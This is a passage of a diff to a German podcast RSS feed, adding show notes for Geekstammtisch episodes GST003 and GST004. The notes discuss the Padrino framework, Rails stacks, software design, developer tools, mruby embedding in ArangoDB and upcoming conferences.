+ * Es geht dabei um Code, nicht um Kritik an der Person
+
+### Tools
+
+ * JSON
+ * JSON Pretty Print: https://github.com/jmhodges/jsonpp
+ * jq: http://stedolan.github.com/jq/
+ * JSON Path ist Kindergarten
+ * httpie statt curl: https://github.com/jkbr/httpie
+ * CodeRay hat einen Terminal Highlighter (http://coderay.rubychan.de/)
+ * Sehr genau, weniger Sprachen als Pygments (http://pygments.org/)
+ * Hosting Static Pages:
+ * GitHub Pages (http://pages.github.com/)
+ * Muss nicht nur Jekyll sein…
+ * http://neilmiddleton.com/the-composability-of-buildpacks/
+ * http://middlemanapp.com/ -> Heroku
+ * Auch gut für Bloggen im Zug
+ * Empfehlung: Syntax-Sonntag bei Ruby-Mine (http://www.ruby-mine.de/)
+ * Sehr gute Einführung in Oniguruma (http://www.ruby-mine.de/wonado)
+ * Gutes deutsches Ruby-Wiki: http://wiki.ruby-portal.de/Hauptseite
+ * Open-Source Nachbau des RPG-Makers (http://www.rpgmakerweb.com/) in Ruby (http://devel.pegasus-alpha.eu/projects/openrubyrmk/boards)
+ * Ruby-Forum ist immer noch in PHP :-)
+ * Foren sind irgendwie nicht mehr aktuell, wird aber noch nachgefragt
+
+### Events
+
+ * Insider-Infos zur SIGINT (Nachtrag):
+ * Mehr Technik-Bezug incoming!
+ * CFP soll ganz bald starten
+ * eurucamp findet auch wieder 2013 statt: http://eurucamp.org/ (16. - 18. August 2013)]]></itunes:summary>
+ <description><![CDATA[<p>Heute wieder mit Gast: Florian Gilcher (<a href="https://twitter.com/Argorak">@Argorak</a>, <a href="http://asquera.de/blog">http://asquera.de/blog</a>)</p>
+
+<h3>Errata</h3>
+
+<ul>
+<li>Auf Grund der kurzen Zeit zwischen den Aufnahmen qausi ausgefallen. Oder einfach keine Fehler gemacht ;-)</li>
+</ul>
+
+<h3>Unser Gast</h3>
+
+<ul>
+<li>Florian aus Berlin
+
+<ul>
+<li>Hat dort seine eigene Firma</li>
+<li>Ist vor allem Backend-Entwickler \o/</li>
+<li>Padrino.rb Core-Entwickler (Sinatra-basiertes Webframework: <a href="http://www.padrinorb.com">http://www.padrinorb.com</a>)</li>
+<li>Sehr aktiv im deutschen Ruby-Forum aktiv: <a href="http://forum.ruby-portal.de/">http://forum.ruby-portal.de/</a></li>
+<li>Hat letztes Jahr das eurucamp mitorganisiert: <a href="http://2012.eurucamp.org/">http://2012.eurucamp.org/</a></li>
+<li>Und ist auch sonst sehr stark in der Community aktiv: &quot;Community macht Spaß&quot;</li>
+</ul></li>
+</ul>
+
+<h3>Padrino</h3>
+
+<ul>
+<li>Entstanden aus Sinatra-Plugins</li>
+<li>Auch heute ist eine Padrino-App &quot;nur&quot; eine Ansammlung von Sinatra-Apps</li>
+<li>Padrino ist viel expliziter als Rails</li>
+<li>Padrino &quot;zwingt&quot; den Entwickler sich mit vielen (allen) Entscheidungen selbst zu beschäftigen</li>
+<li>Rails Pain #1: Initializer-Reihenfolge (auch von Engines), Paadrino kümmert sich nicht
+
+<ul>
+<li>Ladereihenfolge, Config etc muss man selbst machen</li>
+</ul></li>
+<li>Rails Pain #2: Logger austauschen
+
+<ul>
+<li>Dirk empfiehlt das <code>logging</code> Gem <a href="https://github.com/TwP/logging">https://github.com/TwP/logging</a></li>
+<li>Basti und Dirk haben sonst wenig Probleme mit Logging</li>
+</ul></li>
+<li>Eignet sich Padrino gut für Einsteiger?
+
+<ul>
+<li>Der Grund Aufwand ist nach Flo schon höher</li>
+<li>Aber der Zusammenhang zwischen den Komponenten wird klarer</li>
+<li>Padrino behandelt Padrino Erweiterungen (Engines) expliziter</li>
+<li>Philosophie bei Padrino: Setzt euch mit den Dingen auseinander!</li>
+</ul></li>
+<li>Rails und Einsteiger? Auch nicht mehr ganz so einfach…
+
+<ul>
+<li>Yehuda Katz baut deswegen Tokaido (<a href="https://github.com/tokaido/tokaidoapp">https://github.com/tokaido/tokaidoapp</a>)</li>
+<li>Steve Klabnik: Rails has Two Default Stacks (<a href="http://words.steveklabnik.com/rails-has-two-default-stacks">http://words.steveklabnik.com/rails-has-two-default-stacks</a>)</li>
+</ul></li>
+<li>Padrino Getting Started
+
+<ul>
+<li>Es gibt auch Generatoren</li>
+<li>Schritt Eins: HTTP-Stack</li>
+<li>Komponenten müssen ausgewählt werden
+
+<ul>
+<li>Von Test-Framework bis ORM alles auszuwählen</li>
+<li>In Ruby passt eigentlich alles gut zusammen ohne viel Aufwand</li>
+</ul></li>
+<li>Mit Rack (<a href="http://rack.github.com/">http://rack.github.com/</a>) ist alles besser geworden</li>
+</ul></li>
+<li>Es gibt auch noch Ramaze: The Web Framework for Rubyists (<a href="http://ramaze.net/">http://ramaze.net/</a>)</li>
+<li>Flo träumt von Jeremy Evans’ sequel (<a href="https://github.com/jeremyevans/sequel">https://github.com/jeremyevans/sequel</a>)</li>
+<li>PostgreSQL hstore (<a href="http://www.postgresql.org/docs/9.0/static/hstore.html">http://www.postgresql.org/docs/9.0/static/hstore.html</a>)
+
+<ul>
+<li>ActiveRecord hat mittlerweile auch eine Unterstützung</li>
+</ul></li>
+<li>ORM tauschen ist mit Padrino genauso schwer wie bei Rails
+
+<ul>
+<li>Bei echten Projekten tauscht man nicht einfach mal so das DB-Backend, ORM hin oder her</li>
+<li>Padrino macht es auch nicht einfacher, gibt einem aber von Anfang die Info, dass es mehr
+als ein gibt</li>
+</ul></li>
+<li>Doku bei Rails sehr monolitisch, bei Padrino für jede Komponente eine eigene, unabhängige Doku</li>
+<li>Der Austausch von ActiveRecord ist wegen ActiveModel sehr leicht geworden
+
+<ul>
+<li>Sehr viele ORMs und Form-Helper nutzen sehr viel ActiveModel</li>
+</ul></li>
+<li>Padrino benutzt ActiveSupport
+
+<ul>
+<li>Allerdings sehr wenig by default</li>
+</ul></li>
+<li>Zwischenfazit: Der Entwickler wird bei Padrino eher gezwungen sich mit Komponenten und Entscheidungen
+kritisch zu beschäftigen</li>
+<li>Padrino bietet besser dokumentierte APIs um Komponenten einzuschieben
+
+<ul>
+<li>Rails 2 Zeiten - reden wir nicht drüber</li>
+<li>Immer noch Altlasten, z.B.: viele Möglichkeiten aus dem Controller zu rendern</li>
+<li>Rails ist einfach gute Konkurrenz ;-)</li>
+<li>Rails ist schon ein sehr mächtiges Werkzeug</li>
+</ul></li>
+<li>Als Rails-Entwickler kann man sich gut von Padrino inspirieren lassen</li>
+<li>Basti ist beeindruckt vom Merb-Rails Merge (<a href="http://rubyonrails.org/merb">http://rubyonrails.org/merb</a>)</li>
+</ul>
+
+<h3>Software Engineering</h3>
+
+<ul>
+<li>Bezug &quot;How do we stop our Rails apps from being so horrible when they grow up?&quot; (<a href="http://bit.ly/VFtzUI">http://bit.ly/VFtzUI</a>)
+
+<ul>
+<li>Alles unter dem Controller ist für Dirk immer noch ein sehr schwieriges Thema</li>
+</ul></li>
+<li>Kann Padrino da unterstützen? Durch Aufklärung?
+
+<ul>
+<li>Bei Padrino ist der Tipp: Schnell raus aus dem Controller</li>
+<li>Ein Webframework sollte vor allem den Web-Teil richtig machen</li>
+<li>Bei allem danach hört die Unterstützung schnell auf</li>
+</ul></li>
+<li>DCI (Data, context and interaction)</li>
+<li>Flo arbeitet gerade einem Projekt mit Delegates ähnlich wie in Objective-C: Funktioniert super.</li>
+<li>Dependency Injection ist eigentlich nur die richtigen Objekte an die richtige Stelle schieben
+
+<ul>
+<li>DI muss nicht Spring mit XML sein</li>
+<li>Geht in Ruby viel einfacher</li>
+<li>Geht auch in Java viel einfacher: Google Guice (<a href="https://code.google.com/p/google-guice/">https://code.google.com/p/google-guice/</a>)</li>
+</ul></li>
+<li>&quot;Am Ende trennt sich bei diesen Themen einfach die Spreu vom Weizen&quot;
+
+<ul>
+<li>ActiveRecord führt einen aber vielleicht zu weit in einen falsche Richtung</li>
+<li>Allerdings: Nie wieder ohne ORM</li>
+</ul></li>
+<li>Anemic Domain Model von Martin Fowler (<a href="http://martinfowler.com/bliki/AnemicDomainModel.html">http://martinfowler.com/bliki/AnemicDomainModel.html</a>)
+
+<ul>
+<li>Ist ein Anti-Pattern</li>
+<li>Sieht aus wie ein Domain-Model, aber:
+
+<ul>
+<li>Models halten nur Daten</li>
+<li>Verhalten lebt in einem prozeduralen Service-Layer</li>
+</ul></li>
+<li>Lösung sind dann &quot;richtige&quot; Domain-Models (<a href="http://martinfowler.com/eaaCatalog/domainModel.html">http://martinfowler.com/eaaCatalog/domainModel.html</a>) und
+&quot;richtige&quot; Service-Layer (<a href="http://martinfowler.com/eaaCatalog/serviceLayer.html">http://martinfowler.com/eaaCatalog/serviceLayer.html</a>)</li>
+<li>Basti hat bisher noch nie davon gehört</li>
+<li>Flo hat P of EAA nur überflogen aber Refactoring gefressen
+
+<ul>
+<li>Wichtigste Erkenntnis: Feature Hut ODER Refactoring Hut NIEMALS beides!</li>
+</ul></li>
+</ul></li>
+<li>Die Zwei Stacks von Rails (<a href="http://words.steveklabnik.com/rails-has-two-default-stacks">http://words.steveklabnik.com/rails-has-two-default-stacks</a>)
+
+<ul>
+<li>Omakase (<a href="http://en.wikipedia.org/wiki/Omakase">http://en.wikipedia.org/wiki/Omakase</a>) vs. Prime (<a href="http://en.wikipedia.org/wiki/Prime_(symbol)#Use_in_mathematics.2C_statistics.2C_and_science">http://en.wikipedia.org/wiki/Prime_(symbol)#Use_in_mathematics.2C_statistics.2C_and_science</a>)
+
+<ul>
+<li>Omakase: ERB, MySQL, minitest, Fat Models, Skinny Controllers</li>
+<li>Prima: HAML, PostgreSQL, RSpec &amp; Cucumber, Fat Models, Skinny
+Controllers, Service Layer</li>
+</ul></li>
+<li>Für Rails ist DHH der Sushi-Chef: <a href="http://david.heinemeierhansson.com/2012/rails-is-omakase.html">http://david.heinemeierhansson.com/2012/rails-is-omakase.html</a></li>
+<li>Es geht nicht um besser oder schlechter</li>
+<li>Wie kommen Anfänger klar?</li>
+<li>Eigentlich muss man sich gar nicht aktiv entscheiden, wie kommt man überhaupt auf den anderen Stack
+
+<ul>
+<li>PostgreSQL ist die Profi-Alernative zu MySQL</li>
+<li>Mehr Aufwand in der Wartung verhält sich aber viel wartbarer</li>
+<li>MySQL lässt sich trotzdem sehr gut betreiben</li>
+<li>Flo steht auf rustikale Software</li>
+<li>Man entdeckt Tablespaces (<a href="http://www.postgresql.org/docs/8.3/static/manage-ag-tablespaces.html">http://www.postgresql.org/docs/8.3/static/manage-ag-tablespaces.html</a>)</li>
+</ul></li>
+<li>Basti mag eher RSpec aber nimmt sonst eher den Omakase Stack</li>
+<li>Flo mag mehr ERb nimmt aber Postgres</li>
+<li>Eigentlich passt der Name eh nicht, weil ein guter Chef setzt einem nicht zweimal das gleiche Essen vor
+
+<ul>
+<li>Idee: Stack-Randomizer im Projektgenerator</li>
+</ul></li>
+</ul></li>
+<li>Flo kennt das Rubyworks-Ökosystem
+
+<ul>
+<li>Wir haben das maßlos unterschätzt</li>
+<li>Ist Thomas Sawyer (<a href="http://rubyworks.github.com/">http://rubyworks.github.com/</a>)</li>
+<li>Ruby Q.E.D.: Cucumber auf Steroiden (<a href="https://github.com/rubyworks/qed">https://github.com/rubyworks/qed</a>)</li>
+<li>Verwendet AE als Test-Lib (<a href="http://rubyworks.github.com/ae/">http://rubyworks.github.com/ae/</a>) auch von ihm</li>
+<li>Es lassen sich damit Blog-Posts testen</li>
+</ul></li>
+<li>Semantic-Versioning at its best: <a href="https://github.com/sunaku/tork">https://github.com/sunaku/tork</a></li>
+<li>Mit viel Liebe und Mühe sehr gute Libraries und die Masse verwendet es noch nichtmal
+
+<ul>
+<li><a href="https://github.com/sunaku/inochi">https://github.com/sunaku/inochi</a></li>
+</ul></li>
+<li>RSpec&#39;s Doku ist in Cucumber (<a href="https://www.relishapp.com/">https://www.relishapp.com/</a>)</li>
+<li>Dokumentation ist nicht trivial</li>
+<li>Zed Shaw hat einmal gesagt, dass das Problem darin besteht, dass wir den Leuten beibringen müssen wie sie es entwicklen
+
+<ul>
+<li>Die Technik ist da, das Lernen ist das Problem</li>
+<li>Code-Review ist dafür gut</li>
+<li>In guten Teams geht nichts einfach durch</li>
+<li>Es geht dabei um Code, nicht um Kritik an der Person</li>
+</ul></li>
+</ul>
+
+<h3>Tools</h3>
+
+<ul>
+<li>JSON
+
+<ul>
+<li>JSON Pretty Print: <a href="https://github.com/jmhodges/jsonpp">https://github.com/jmhodges/jsonpp</a></li>
+<li>jq: <a href="http://stedolan.github.com/jq/">http://stedolan.github.com/jq/</a>
+
+<ul>
+<li>JSON Path ist Kindergarten</li>
+</ul></li>
+</ul></li>
+<li>httpie statt curl: <a href="https://github.com/jkbr/httpie">https://github.com/jkbr/httpie</a></li>
+<li>CodeRay hat einen Terminal Highlighter (<a href="http://coderay.rubychan.de/">http://coderay.rubychan.de/</a>)
+
+<ul>
+<li>Sehr genau, weniger Sprachen als Pygments (<a href="http://pygments.org/">http://pygments.org/</a>)</li>
+</ul></li>
+<li>Hosting Static Pages:
+
+<ul>
+<li>GitHub Pages (<a href="http://pages.github.com/">http://pages.github.com/</a>)</li>
+<li>Muss nicht nur Jekyll sein…</li>
+<li><a href="http://neilmiddleton.com/the-composability-of-buildpacks/">http://neilmiddleton.com/the-composability-of-buildpacks/</a></li>
+<li><a href="http://middlemanapp.com/">http://middlemanapp.com/</a> -> Heroku</li>
+<li>Auch gut für Bloggen im Zug</li>
+</ul></li>
+<li>Empfehlung: Syntax-Sonntag bei Ruby-Mine (<a href="http://www.ruby-mine.de/">http://www.ruby-mine.de/</a>)
+
+<ul>
+<li>Sehr gute Einführung in Oniguruma (<a href="http://www.ruby-mine.de/wonado">http://www.ruby-mine.de/wonado</a>)</li>
+</ul></li>
+<li>Gutes deutsches Ruby-Wiki: <a href="http://wiki.ruby-portal.de/Hauptseite">http://wiki.ruby-portal.de/Hauptseite</a></li>
+<li>Open-Source Nachbau des RPG-Makers (<a href="http://www.rpgmakerweb.com/">http://www.rpgmakerweb.com/</a>) in Ruby (<a href="http://devel.pegasus-alpha.eu/projects/openrubyrmk/boards">http://devel.pegasus-alpha.eu/projects/openrubyrmk/boards</a>)</li>
+<li>Ruby-Forum ist immer noch in PHP :-)</li>
+<li>Foren sind irgendwie nicht mehr aktuell, wird aber noch nachgefragt</li>
+</ul>
+
+<h3>Events</h3>
+
+<ul>
+<li>Insider-Infos zur SIGINT (Nachtrag):
+
+<ul>
+<li>Mehr Technik-Bezug incoming!</li>
+<li>CFP soll ganz bald starten</li>
+</ul></li>
+<li>eurucamp findet auch wieder 2013 statt: <a href="http://eurucamp.org/">http://eurucamp.org/</a> (16. - 18. August 2013)</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST003" />
+
+
+ </item>
+
+ <item>
+ <title>GST004 - Ich dachte C ist fertig</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Frank Celler (@fceller) über mruby</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst004.mp3" length="52196815" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST004</guid>
+ <pubDate>Tue, 05 Feb 2013 00:31:37 +0100</pubDate>
+ <itunes:duration>01:12:18</itunes:duration>
+ <itunes:summary><![CDATA[Unser Gast ist heute: Frank Celler (@fceller, http://triagens.com)
+
+**Synopsis**: Heute geht es um mruby, C-Hacking und Bytecode-Compiler
+
+### Errata
+
+ * Neue RubyWiki Seite zum Open RPG Maker: http://devel.pegasus-alpha.eu/projects/openrubyrmk/boards
+ (danke @qquintilianus, https://twitter.com/qquintilianus/status/298385311761842176)
+
+### Unser Gast
+
+ * Als Errata zu GST001, mruby ;-)
+ * Frank ist kein Rubyist, sondern C-Hacker
+
+### (M)Ruby
+
+ * Steht für Matz Minimal Embedded Ruby
+ * Um irgendwo embedded zu werden
+ * Hardware (zB.: Roboter)
+ * iOS (http://mobiruby.org/)
+ * Andere Programme (zB: Datenbanken)
+ * Redis (http://redis.io/) embedded zum Beispiel Lua (http://www.lua.org/)
+ * Da Lua irgendwie nicht so richtig für Programmierer ist, könnte
+ mruby hier eine Lücke schließen
+ * Ruby 1.8 ist nicht dafür entworfen irgendwo eingebettet zu werden
+ * **mruby in a Nutshell**
+ * Bytecode-Compiler (ähnlich wie YARV in Ruby 1.9)
+ * Soll eine sehr, sehr kleine, überall lauffähige VM bieten
+ (Rite-VM)
+ * Ein sehr kleiner Satz von Libraries
+ * Es gibt _kein_ `require`
+ * Es gibt `mgem` (https://github.com/bovi/mgem)
+ * **Einschub:** http://mruby.sh/ -> Englische Ãœbersetzung der japanischen News
+ von Daniel Bovensiepen (http://www.bovensiepen.net/)
+ * mgems sind quasi C-Libs
+ * Stdlib ist quasi nicht existent
+ * Core ist auch stark eingeschränkt (kein Bignum, keine Regexp,
+ keine Threads)
+ * Es gibt als mgem eine cURL-Lib (was für eine Datenbank die HTTP
+ spricht ganz sinnvoll ist)
+ * mruby ohne Threads macht vor allem für Datenbanken Sinn
+ * Ruby ist ein Standard: http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=59579
+ * Inzwischen gehen auch `attr_accessor` und andere Introspection
+ Features
+ * mruby wird magischer ;-)
+ * Wo hat der Frank mruby überhaupt eingebettet?
+ * ArangoDB - http://www.arangodb.org/
+ * Eine Open-Source Dokumentendatenbank
+ * Wofür bettet man eine Scriptsprache in eine Datenbank ein?
+ * Filtern von Ausgaben
+ * Implementierung von Triggern (statt PL/SQL - http://en.wikipedia.org/wiki/PL/SQL)
+ * Anreichern von Ausgaben
+ * Welche Scriptsprache nimmt man da:
+ * PHP trauen wir uns nicht
+ * JavaScript funktioniert mit V8 (https://code.google.com/p/v8/), wurde dann auch integriert
+ * Dokumentation ist grausam
+ * Sehr schnell, in C++
+ * wenn man einen Fehler sucht, kann man nur aufgeben ;-)
+ * Arango ist in C/C++ geschrieben
+ * Haben sehr früh Zugang zum mruby Repo bekommen
+ * mruby lässt sich sehr leicht einbetten
+ * Dokumentation ist genauso schlecht wie die von V8
+ * Man kommt aber noch zu Fuß durch den Code
+ * Probleme bei V8 war JavaScript-Prototypen in C++ Objekte abzubilden
+ * mruby wurde mit dem Gedanke entwickelt eingebettet zu werden, daher
+ sind entsprechende Hooks vorgesehen C-Strukturen in Ruby abzubilden
+ * V8 verwendet UTF-16, Arango verwendet UTF-8
+ * mruby verwendet auch UTF-8 -> Overhead fällt weg
+ * Frank hat mit LLVM rum gespielt und hat aus mruby den Faktor 2-3 raus geholt
+ * Was noch viel für die Performance tun kann ist Method-Caching
+ * Momentan ist mruby noch Alpha-Status
+ * In der homebrew Version ist mruby drin
+ * Für Linux muss es per Hand gebaut werden
+ * Bei ArangoDB ist eine Shell für mruby dabei (siehe auch: http://qiezi.me/projects/mruby-web-irb/mruby.html)
+ * emscripten.org
+ * Die mruby Shell in ArangoDB ist analog zu der JavaScript Shell in
+ ArangoDB
+ * mruby hatte bis vor kurzem keine richtiges Makefile
+ * Daniel Bovensiepen hat dann ein CMake-File erstellt (http://cmake.org)
+ * Seit Dezember 2012 gibt es auch ein Rakefile
+ * War unter Windows vor der totale Krampf
+ * ArangoDB gibt es seit kurzem auch für Windows
+ * Probleme mit libev und ICU
+ * UTF-8 hat zwei Darstellung für Umlaute: den Umlaut und zwei Punkte + Buchstabe
+ * Basti hatte einmal sehr viel Freude mit case-insensitive und case-sensitive Systemen
+ * Macht auch Probleme bei Collation
+ * ICU macht das einfach für einen (http://site.icu-project.org/)
+ * Die Windows-Version von ArangoDB hat keinen mruby Support
+ * mruby targeted aber Windows
+ * Anekdote: Die C-Standards entwickeln sich im Jahrzehnt-Rhytmus
+ * VisualStudio ist bei ANSI-C Version '89 stehengeblieben
+ * Frank macht C schon seit 30 Jahren
+ * Hat für den TRS-80 ein Arcade-Spiel nachprogrammiert (http://en.wikipedia.org/wiki/TRS-80)
+ * Frank hat das Spiel auf einem TRS-80 Emulator für Linux widergefunden :-)
+ * "Magic Worm for Model I" (http://fosdem.graph-database.org/news/8,
+ http://www.retrocomputing.net/parts/r/radio/TRS80_4/docs/on2002.htm)
+ * Frank erinnert einen C Interpreter
+ * Wenn C dann lieber Objective-C, meint Frank
+ * Ist für Rubyisten noch eingängiger, vom mentalen Modell
+ * Basti hat auf dem letzten DevHouseFriday 'Ruby is Magic - Reflections' gezeigt (https://speakerdeck.com/railsbros_dirk/colognerb-reflections)
+ * Cocoa ist von oben bis unten voll mit Magic
+ * ArangoDB im MacApp-Store: https://itunes.apple.com/de/app/arangodb/id564723448?l=en&mt=12
+ * War letztes Jahr unter den Top-10 für Dev-Tools
+ * Ohne mruby
+ * Ähnlich wie damals CouchDBX: http://janl.github.com/couchdbx/
+ * Die JavaScript-Shell von ArangoDB läuft im Browser
+ * Die ArangoDB-Shell ist ein eigener Client und spricht mit dem Server über HTTP
+ * JavaScript-Console für den Browser: http://replit.github.com/jq-console/
+ * http://stedolan.github.com/jq/
+ * The JSON Query Language: http://www.jsoniq.org/
+ * Ähnlich wie das was ArangoDB verwendet (unabhängig)
+
+### Events
+
+ * NoSQL Matters: 25. - 27.4.2013 (http://2013.nosql-matters.org/cgn/)
+ * Early Bird Tickets schon verfügbar
+ * 25.4. ist Training Day
+ * Keynote: Martin Fowler
+ * Im KOMED in Köln
+ * Mit Hadoop-Track
+ * Und der Rest der bisher veröffentlichen Speaker ist nicht weniger hochkarätig
+
+BTW: Jan Lehnardt ist jetzt bei 'The Couch Firm' - http://thecouchfirm.com/]]></itunes:summary>
+ <description><![CDATA[<p>Unser Gast ist heute: Frank Celler (<a href="https://twitter.com/fceller">@fceller</a>, <a href="http://triagens.com">http://triagens.com</a>)</p>
+
+<p><strong>Synopsis</strong>: Heute geht es um mruby, C-Hacking und Bytecode-Compiler</p>
+
+<h3>Errata</h3>
+
+<ul>
+<li>Neue RubyWiki Seite zum Open RPG Maker: <a href="http://devel.pegasus-alpha.eu/projects/openrubyrmk/boards">http://devel.pegasus-alpha.eu/projects/openrubyrmk/boards</a>
+(danke <a href="https://twitter.com/qquintilianus">@qquintilianus</a>, <a href="https://twitter.com/qquintilianus/status/298385311761842176">https://twitter.com/qquintilianus/status/298385311761842176</a>)</li>
+</ul>
+
+<h3>Unser Gast</h3>
+
+<ul>
+<li>Als Errata zu GST001, mruby ;-)</li>
+<li>Frank ist kein Rubyist, sondern C-Hacker</li>
+</ul>
+
+<h3>(M)Ruby</h3>
+
+<ul>
+<li>Steht für Matz Minimal Embedded Ruby</li>
+<li>Um irgendwo embedded zu werden
+
+<ul>
+<li>Hardware (zB.: Roboter)</li>
+<li>iOS (<a href="http://mobiruby.org/">http://mobiruby.org/</a>)</li>
+<li>Andere Programme (zB: Datenbanken)</li>
+</ul></li>
+<li>Redis (<a href="http://redis.io/">http://redis.io/</a>) embedded zum Beispiel Lua (<a href="http://www.lua.org/">http://www.lua.org/</a>)
+
+<ul>
+<li>Da Lua irgendwie nicht so richtig für Programmierer ist, könnte
+mruby hier eine Lücke schließen</li>
+</ul></li>
+<li>Ruby 1.8 ist nicht dafür entworfen irgendwo eingebettet zu werden</li>
+<li><strong>mruby in a Nutshell</strong>
+
+<ul>
+<li>Bytecode-Compiler (ähnlich wie YARV in Ruby 1.9)</li>
+<li>Soll eine sehr, sehr kleine, überall lauffähige VM bieten
+(Rite-VM)</li>
+<li>Ein sehr kleiner Satz von Libraries
+
+<ul>
+<li>Es gibt <em>kein</em> <code>require</code></li>
+<li>Es gibt <code>mgem</code> (<a href="https://github.com/bovi/mgem">https://github.com/bovi/mgem</a>)</li>
+<li><strong>Einschub:</strong> <a href="http://mruby.sh/">http://mruby.sh/</a> -> Englische Ãœbersetzung der japanischen News
+von Daniel Bovensiepen (<a href="http://www.bovensiepen.net/">http://www.bovensiepen.net/</a>)</li>
+<li>mgems sind quasi C-Libs</li>
+<li>Stdlib ist quasi nicht existent</li>
+<li>Core ist auch stark eingeschränkt (kein Bignum, keine Regexp,
+keine Threads)</li>
+<li>Es gibt als mgem eine cURL-Lib (was für eine Datenbank die HTTP
+spricht ganz sinnvoll ist)</li>
+<li>mruby ohne Threads macht vor allem für Datenbanken Sinn</li>
+<li>Ruby ist ein Standard: <a href="http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=59579">http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=59579</a></li>
+<li>Inzwischen gehen auch <code>attr_accessor</code> und andere Introspection
+Features</li>
+<li>mruby wird magischer ;-)</li>
+</ul></li>
+</ul></li>
+<li>Wo hat der Frank mruby überhaupt eingebettet?
+
+<ul>
+<li>ArangoDB - <a href="http://www.arangodb.org/">http://www.arangodb.org/</a></li>
+<li>Eine Open-Source Dokumentendatenbank</li>
+</ul></li>
+<li>Wofür bettet man eine Scriptsprache in eine Datenbank ein?
+
+<ul>
+<li>Filtern von Ausgaben</li>
+<li>Implementierung von Triggern (statt PL/SQL - <a href="http://en.wikipedia.org/wiki/PL/SQL">http://en.wikipedia.org/wiki/PL/SQL</a>)</li>
+<li>Anreichern von Ausgaben</li>
+<li>Welche Scriptsprache nimmt man da:
+
+<ul>
+<li>PHP trauen wir uns nicht</li>
+<li>JavaScript funktioniert mit V8 (<a href="https://code.google.com/p/v8/">https://code.google.com/p/v8/</a>), wurde dann auch integriert</li>
+<li>Dokumentation ist grausam</li>
+<li>Sehr schnell, in C++</li>
+<li>wenn man einen Fehler sucht, kann man nur aufgeben ;-)</li>
+</ul></li>
+</ul></li>
+<li>Arango ist in C/C++ geschrieben
+
+<ul>
+<li>Haben sehr früh Zugang zum mruby Repo bekommen</li>
+</ul></li>
+<li>mruby lässt sich sehr leicht einbetten</li>
+<li>Dokumentation ist genauso schlecht wie die von V8
+
+<ul>
+<li>Man kommt aber noch zu Fuß durch den Code</li>
+</ul></li>
+<li>Probleme bei V8 war JavaScript-Prototypen in C++ Objekte abzubilden</li>
+<li>mruby wurde mit dem Gedanke entwickelt eingebettet zu werden, daher
+sind entsprechende Hooks vorgesehen C-Strukturen in Ruby abzubilden</li>
+<li>V8 verwendet UTF-16, Arango verwendet UTF-8</li>
+<li>mruby verwendet auch UTF-8 -> Overhead fällt weg</li>
+<li>Frank hat mit LLVM rum gespielt und hat aus mruby den Faktor 2-3 raus geholt</li>
+<li>Was noch viel für die Performance tun kann ist Method-Caching</li>
+<li>Momentan ist mruby noch Alpha-Status
+
+<ul>
+<li>In der homebrew Version ist mruby drin</li>
+<li>Für Linux muss es per Hand gebaut werden</li>
+</ul></li>
+<li>Bei ArangoDB ist eine Shell für mruby dabei (siehe auch: <a href="http://qiezi.me/projects/mruby-web-irb/mruby.html">http://qiezi.me/projects/mruby-web-irb/mruby.html</a>)</li>
+<li>emscripten.org</li>
+<li>Die mruby Shell in ArangoDB ist analog zu der JavaScript Shell in
+ArangoDB</li>
+<li>mruby hatte bis vor kurzem keine richtiges Makefile
+
+<ul>
+<li>Daniel Bovensiepen hat dann ein CMake-File erstellt (<a href="http://cmake.org">http://cmake.org</a>)</li>
+<li>Seit Dezember 2012 gibt es auch ein Rakefile</li>
+<li>War unter Windows vor der totale Krampf</li>
+</ul></li>
+<li>ArangoDB gibt es seit kurzem auch für Windows
+
+<ul>
+<li>Probleme mit libev und ICU</li>
+</ul></li>
+<li>UTF-8 hat zwei Darstellung für Umlaute: den Umlaut und zwei Punkte + Buchstabe</li>
+<li>Basti hatte einmal sehr viel Freude mit case-insensitive und case-sensitive Systemen</li>
+<li>Macht auch Probleme bei Collation</li>
+<li>ICU macht das einfach für einen (<a href="http://site.icu-project.org/">http://site.icu-project.org/</a>)</li>
+<li>Die Windows-Version von ArangoDB hat keinen mruby Support</li>
+<li>mruby targeted aber Windows</li>
+<li>Anekdote: Die C-Standards entwickeln sich im Jahrzehnt-Rhytmus</li>
+<li>VisualStudio ist bei ANSI-C Version &#39;89 stehengeblieben</li>
+<li>Frank macht C schon seit 30 Jahren
+
+<ul>
+<li>Hat für den TRS-80 ein Arcade-Spiel nachprogrammiert (<a href="http://en.wikipedia.org/wiki/TRS-80">http://en.wikipedia.org/wiki/TRS-80</a>)</li>
+<li>Frank hat das Spiel auf einem TRS-80 Emulator für Linux widergefunden :-)</li>
+<li>&quot;Magic Worm for Model I&quot; (<a href="http://fosdem.graph-database.org/news/8">http://fosdem.graph-database.org/news/8</a>,
+<a href="http://www.retrocomputing.net/parts/r/radio/TRS80_4/docs/on2002.htm">http://www.retrocomputing.net/parts/r/radio/TRS80_4/docs/on2002.htm</a>)</li>
+</ul></li>
+<li>Frank erinnert einen C Interpreter</li>
+<li>Wenn C dann lieber Objective-C, meint Frank</li>
+<li>Ist für Rubyisten noch eingängiger, vom mentalen Modell</li>
+<li>Basti hat auf dem letzten DevHouseFriday &#39;Ruby is Magic - Reflections&#39; gezeigt (<a href="https://speakerdeck.com/railsbros_dirk/colognerb-reflections">https://speakerdeck.com/railsbros_dirk/colognerb-reflections</a>)</li>
+<li>Cocoa ist von oben bis unten voll mit Magic</li>
+<li>ArangoDB im MacApp-Store: <a href="https://itunes.apple.com/de/app/arangodb/id564723448?l=en&amp;mt=12">https://itunes.apple.com/de/app/arangodb/id564723448?l=en&amp;mt=12</a>
+
+<ul>
+<li>War letztes Jahr unter den Top-10 für Dev-Tools</li>
+<li>Ohne mruby</li>
+<li>Ähnlich wie damals CouchDBX: <a href="http://janl.github.com/couchdbx/">http://janl.github.com/couchdbx/</a></li>
+</ul></li>
+<li>Die JavaScript-Shell von ArangoDB läuft im Browser</li>
+<li>Die ArangoDB-Shell ist ein eigener Client und spricht mit dem Server über HTTP
+
+<ul>
